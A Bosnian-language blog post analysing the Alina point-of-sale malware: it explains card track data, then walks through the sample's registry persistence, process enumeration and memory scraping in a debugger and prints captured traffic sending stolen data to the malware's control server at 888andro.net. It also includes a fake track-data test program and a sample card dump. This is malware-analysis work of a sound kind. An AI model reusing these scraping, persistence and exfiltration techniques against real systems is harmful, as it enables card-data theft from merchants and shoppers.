Intro
Danas sam provjerio kernelmode jer nisam odavno ulazio tu i naletio sam na Alina POS malware, a meni su POS malware najdraži za reversanje. Razlog tome je zato što tako jednostavna ideja ima ishod bankrota u nekim država. Iako su ideološki lagani za napraviti, teško ih je detektovati i izbjeći susret sa njima. Ovo će biti malo duži post zato što ću pričati o čitavom procesu POS malware-a.
Šta je POS Malware (I)
Recimo da znate šta je malware (softver koji ima namjeru da našteti sistemu na bilo koji način), međutim, ne razumjete pojam POS Malware. POS (point of sale) je standardni naziv za kasu u bilo kojoj prodavnici gdje se barkodovi otkucavaju i gdje vi na kraju platite kupljenu robu. Većina POS kasa ima povezan hardver sa kojim možete platiti preko vaše kreditne/debitne kartice. Takav hardver se naziva EFTPOS odnosno "electronic fund transfer @ point of sale". To je sistem za plaćanje kod kojeg se kartica u većini slučajeva provlači kroz utor ili se ubacuje. Postoje dva načina za plačanje na kasi, a to je keš ili elektronsko plaćanje, međutim plaćanje elektronskim putem ima također dva načina. Jedan je "Swipe" način, a drugi je "Swipe/Utor + PIN".
SWIPE
Ovaj način se najčešće koristi u SAD a preko njega se vrši procesuiranje kartice. Swipe je u zapisan po standardu koda 101, a plaćanje se vrši tako što blagajnik na kasi uzme vašu karticu i provuće je kroz citac kartica. Čitač kartica u tom trenutku izvlači sve podatke sa magnetic stripe te vrši softverski proces.
SWIPE/UTOR + PIN
Ovaj način se koristi i kod nas a pod ISO standardom je obilježen kodom 102/103. Kada predamo karticu blaganijku (ili blagajnici) na kasi, on/ona ili ubaci karticu u poseban utor EFTPOS-a ili provuće karticu, a zatim vas pita za PIN kod koji vi kucate. Ako se radi o prvom načinu gdje karticu ubaci u utor hardvera, ta kartica je novije proizvodnje a radi se o "card + chip" modu. Ako je pak provukla karticu, onda se radi o starijoj proizvodnji "card + stripe" modu. Svakako da je u oba slučaja potreban pin.
Sada kada znamo kako radi elektronsko plaćanje možemo krenuti sa reversanjem. Da prije svega napomenem nešta, kartice su jako opširna tema i trebalo bi mi dosta da napišem na koji način rade iste, šta se nalazi na magnetnoj traci (iako ću o ovome malo pisati) te šta se sve dešava u pozadini. Ako je neko zainteresiran ali pravo i ako vas se skupi grupa ljudi koja voli čitati o tome, obratite mi se na twitteru/PM/irc-u ili emailu i ja ću rado pisati o tome.
Šta je POS Malware (II)
U ovom dijelu ću detaljno objasniti šta radi POS malware. Da krenemo od toga šta je sve zapisano na magnetnoj traci kartice. Kao što znamo, i kao što sam već napisao, kartice imaju magnetnu traku, a noviji modeli koji su samim tim sigurniji imaju i čip. Na magnetnoj traci su zapisani podaci koji se zovu u "slengu" DUMP. DUMP sadrži informacije o trakama, a "karderi" ih najčešće dobijaju putem skimminga. Evo kako izgleda data magnetne trake:
4730770006751710=140310110000420 ; B4730770006751710^MARKO^14031011000000420000000
Kao što vidite, traka sadrži pojedine stringove, a detaljno o tome možete pročitati na wikipediji, link je u pasusu za reference, kao i u skoro svakom postu, na kraju. Ne bi bilo loše da to pročitate, možda će vam trebati kroz život. Šta napadač inače traži jeste traku #1, koju kasnije ispisuje na blanko kartici preko pisača kartica.
Šta POS malware inače radi jeste, dok primjera kupujete nešta preko kartica, blagajnik provuče karticu a malware čita podatke iz memorije sistema. Da bi vam lakše to objasnio, nacrtao sam još jedan dijagram koji možete pogledati ispod. Glavno je zapamtiti da malware ne radi ništa posebno nego skenira range memorije procesa koji su dozvoljeni za čitanje, i provjerava određeni ASCII iz memorije sa regex patternom (Traka 1).
Smash the malware!
Dosta je bilo priče o procesu, nadam se da vam je sve objašnjeno, nije moglo detaljnije da bude nikako. Kao što rekoh, preuzeo sam malware sa kernelmode a postavio ga je Xylitol. Nedavno mi je rekao da je reversao nekoliko puta Alinu i da je ovo najnovija verzija (7.*) za koju nema builder.
MD5: 017c34b47659565fa5a621a2b7a9d4a7
SHA: 43afd24048a0281d6f4699627d2363e847b34aa8
Kad se malware pokrene, otvara User Shell folder u registriju i prati lokaciju "Application Data" te se kopira u sub-folder "Install", a zatim se doda u registriji na startup za trenutnog korisnika. Tu drop-a fajl "ntfs.dat".
Kao što sam i očekivao, kada loadujem eksekutabl u debugger, brejka se svaka operacija, tzv. anti-debug trikovi. No dobro, nije da ih je teško zaobići. Nakon zaobilaska anti-debugging tehnike, vidim da je E(entry)P(oint) 0x0000A713
.
Na samom početku, ovaj POS malware kreira snapshot koristeći se CreateToolHelp32Snapshot APIom sa flag-om TH32CS_SNAPALL, a taj flag označava sve procese sistema. Znači da je već sumnjivo. Ko je radio svoj very-own task manager u nekom jeziku, zna da se morao koristiti tim APIom.
Ako pogledam malo niže, vidim da se poziva Process32First API koji se nalazi u istom modulu (help) Windows API-a. Šta više, ovaj API se poziva kada želimo dobiti povratne informacije snapshota koji je malware izvukao maloprije postavljajući TH32CS_SNAPALL flag.
Ekskludamo proces sa kojeg pozivamo funkciju i vraćamo njegov ID (izbacujemo svoj proces):
0040594D > FF15 40A04100 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>; [GetCurrentProcessId]
Na 0x405A80 se već poziva Process32Next, sa kojim idemo na sljedeći proces već urađenog snapshota. Ne može biti lakša tehnika.
Kada malware nađe prvi proces sa liste, u ovom slučaju smss.exe, provjerava da li je taj proces od sistema ili je nešta drugo. Ako je od sistema, nema potrebe da ga skenira tako da ga ignoriše.
Vrti loop petlju i provjerava sljedeće procese koji su mu default, {svchost.exe, iexplorer.exe, explorer.exe, crhome.exe, firefox.exe, smss.exe, csrss.exe, sykpe.exe, pidgin.exe, wininit.exe, steam.exe, devenv.exe, thunderbird.exe, winlogon.exe, services.exe itd.}
. Te procese također izbacuje od sljedeće operacije.
Budući da je pretjerano prolaziti kroz svaki proces i pritiskati F8
1000x morao sam udariti patch na 0x405A12
.
00405A12 .^72 E0 JB SHORT windefen.004059F4 > 00405A12 ^74 E0
Otvara proces da bi u njega krenuo sa main funkcijom.
Main funkcija, postavlja se ime procesa u registar eax, pushamo eax, zatim se sa stacka također izvlači regex koji je predefinisan u varijablu.
00405AE6 . 50 PUSH EAX ; vadimo eax iz stack-a
00405AE7 . 68 C4F74100 PUSH windefen.0041F7C4 ; ASCII "{[!16!]}{[!46!]}%s (%d)"
Poslije toga se poziva VirtualQueryEx
API da se utvrdi readable memorija unutar određenog procesa, a onda se čita byte po byte (ReadProcessMemory) i komparira isti string sa regexom (regular expression pattern).
004049B7 |. 51 ||PUSH ECX ; /pBytesRead
004049B8 |. 50 ||PUSH EAX ; |BytesToRead
004049B9 |. 57 ||PUSH EDI ; |Buffer
004049BA |. FF7424 44 ||PUSH DWORD PTR SS:[ESP+44] ; |pBaseAddress
004049BE |. FF33 ||PUSH DWORD PTR DS:[EBX] ; |hProcess
004049C0 |. FF15 60A04100 ||CALL DWORD PTR DS:[<&KERNEL32.ReadProc>; \ReadProcessMemory
Network analiza
Sada kada znamo kako malware radi, na kom principu se svodi, potrebno je da se upoznamo sa njegovim postupcima kada se nađe dump u memoriji. Mislim da je moje vrijeme da zasijam sa C-om :) Ispisao sam malu skriptu koja printa fake traku. Napomena: Ako mislite zašto jednostavno nisam zalijepio lažnu traku u notepad, razlog tome je zato što notepad nema output nego konverzaciju iz outputa u UTF. Samim tim ga malware ne čita kao string već kao ASCII kod. A to su dvije različite stvari. :)
Program pisan u C koristi se kao lažna traka koja je provučena i sad je u memoriji:
{% highlight c %} #include <iostream.h>
// dn5 // http://dn5.ljuska.org // @dn5__
int main() { char traka1[100] = "%B4730770006751710^MARKO^14051015000000420000000?"; char traka2[100] = ";4730770006751710=140510110000420?\n";
printf(traka1); // Traka 1
printf("\n");
printf(traka2); // Traka 2
getchar(); // grrr
return 0;
} {% endhighlight %}
Kada Alina detektuje traku ili trake, šalje request na panel. Prvi request se šalje za vrijeme startup-a, a drugi kad se kao što sam rekao detektuju trake.
Request #1:
3 TCP 192.168.1.175 193.109.68.159 4422 80 computer_1.ASUS 888andro.net http 9 1,708 Bytes 2,392 Bytes 11.9 KB/Sec 1/2/2014 11:35:10 PM:397 1/2/2014 11:35:10 PM:537 00:00:00.140
Content-Type: application/octet-stream
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1 Spark v1.1
Host: 888andro.net
Content-Length: 1210
Cache-Control: no-cache
....................................................................C.....6...".wV.Z...UWPQV1%IGfHzV.[..GUW.QPd%HEfM(V.Z..DUWPQV6%HDfO.V.\...UQ.QW1%IAfI|V. ...US.QP6%NGfL,V....FURTQR2%MCfLsV....@UV.QS5%MMfLV....MUWYQV2%IMfHsV.Y...UW.QV1%IDfIxV.....UWSQVe%O.fHzV.Z...UVPQV1%ICfH{V.\...US.QPb%HDfI~V....DUQ.QRd%OCfNxV.^..MUQUQR2%LDfMsV.]..@USYQS5%HEfHrV. ..CUWYQV8%HLfJ+V.Z...UWPQV1%IGfHzV.[..GUW.QPd%HEfM(V.Z..DUWPQV6%HDfO.V.\...UQ.QW1%IAfI|V. ...US.QS3%MAfL|V.\...UR.QWe%L@fMrV.
..EUVYQV1%ICfIsV....LUT.QPb%I.fI{V. ..GUVQQVc%IGfI/V.\..EUS.QPb%HDfI{V....DUQ.QRd%M.fO(V. ..AUWWQW1%O.fM.V....@URPQR5%LFfL)V.....URTQR8%L@fHzV....@UWTQV6%HLfJ+V.Z...UWPQV1%IGfHzV.[..GUW.QPd%HEfM(V.Z..DUWPQV6%HDfO.V.\...UQ.QW1%IAfI|V. ...US.QSe%L.fM~V.
..EURPQS4%H.fH(V.]..@USYQS5%HEfHrV....AUWUQV0%HLfJ+V.Z...UWPQV1%IGfHzV.[..GUW.QPd%HEfM(V.Z..DUWPQV6%HDfO.V.\...UQ.QW1%IAfI|V. ...US.QR2%L@fL}V.
..AURXQR4%H.fLV....@UVQQW8%IDfIsV....CUWYQW9%J.fO(V.Y..DUWPQV2%HEfI)V.
...UQ.QW0%M.fO(V. ..DUWWQW1%O.fM.V.Z...UVPQV4%ICfH{V.\...UR.QR3%MEfL{V.....USUQWe%L@fMrV.
..EUVYQV2%IEfIsV.
..GUVXQUa%O.fI+V. ..DUWSQW0%I.fI{V.
...UQ.QW0%M.fO(V. ..DUWWQW1%O.fM.V.Z...UVPQV4%ICfH{V.\...USRQSd%MFfL/V....CURWQWe%L@fMrV.
..EUVYQV2%ICfI{V....AUVXQUa&
Request #2 (detekcija trake):
4 TCP 192.168.1.175 193.109.68.159 4426 80 computer_1.ASUS 888andro.net http 7 622 Bytes 1,406 Bytes 4.7 KB/Sec 1/2/2014 11:37:18 PM:051 1/2/2014 11:37:18 PM:181 00:00:00.130
POST /insider/loading.php HTTP/1.1
Accept: application/octet-stream
Content-Type: application/octet-stream
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1 Spark v1.1
Host: 888andro.net
Content-Length: 181
Cache-Control: no-cache
....................................................................N.........1.wV....TDAWV30%IBfI}V....SDATV36%IBfIV. ..TDAUV30%I.fI{V....SDAQV31%IEfI{V. ..SDATV30%IEfI~V.
..SDA.U
Kao što vidimo, radi se o octet-stream. Budući da nisam toliko upućen u MITMA izguglao sam šta je octet-stream. Radi se o type-u koji nije tekst već binarni fajl. Znači da ga server ne registruje kao ASCII nego datoteku. Ipak palim Olly opet da vidim o čemu se radi. Postavio sam nekoliko breakpointa da vidim šta se dešava i otkud taj fajl koji se šalje preko requesta. Emulacija CreateFileA
se javlja na adresi 0x401F48
. Ako pogledate EAX registar vidite koji se fajl kreira.
Kasnije se isti taj kreirani fajl uzima i pod case (slučaj) se bira random ime koji su predefinisani: adobeflash.exe
, desktop.exe
, jucheck.exe
, jusched.exe
, java.exe
.
Poziv API-a InternetOpenA
se nalazi na adresi 0x404089
i tu sam već postavio breakpoint kada sam gledao module.
00404089 . FF15 98A14100 CALL DWORD PTR DS:[<&WININET.InternetOpe>; WININET.InternetOpenA
I opet sam se satima vukao po debuggeru gore dole, lijevo desno, išao redom ali nisam mogao naći izvor fajla. I tek sam na kraju skontao da je panel broken i da nema opet nikakve koristi od toga. Stim da sam provjeravao enkripcije koju koristi Alina, ali opet nula bodova. Na kraju sam digao ruke jer gaf nije htio da mi pupi ku. Možda opet nekad pogledam taj request, ali trenutno mi je muka od adresa. Inače, već posjedujem stari izvorni kod Aline, mnogo je loše ispisan, 24+ threada su pozvani, 100% CPU usage. Ovaj izgleda još gore, vidi se da se radi o prljavim parama. POS malwarei su sami po sebi zanimljiva ideja, ali napraviti jedan koji će biti baš optimizovan je već malo teže. :)
Zanimljivosti
EFTPOS tehnologija je uvedena 1981. godine u SAD
EFTPOS je najčešći oblik plaćanja u Australiji, zatim u Novom Zelandu, a na trećem mjestu u SAD
Magnetska traka nekad sadrži samo track-1 data jer je ona u biti najvažnija
Alina source code je na prodaji za 2000$
Očekuje se da će se POS malware u 2014. proširiti maksimalno
Pojedine riječi
sleng = ulični riječnik
karder = neko ko se bavi kartičnim fraudom
skimming = tehnika u kojoj je hardver zamjenjen lažnim na ATM
BIN = bank identification number (prvih šest brojeva na kartičnog broja koje označavaju izdavačku banku kartice)
Reference
http://en.wikipedia.org/wiki/Point_of_sale
http://en.wikipedia.org/wiki/EFTPOS
http://en.wikipedia.org/wiki/Magnetic_stripe_card
http://kb.iu.edu/data/agtj.html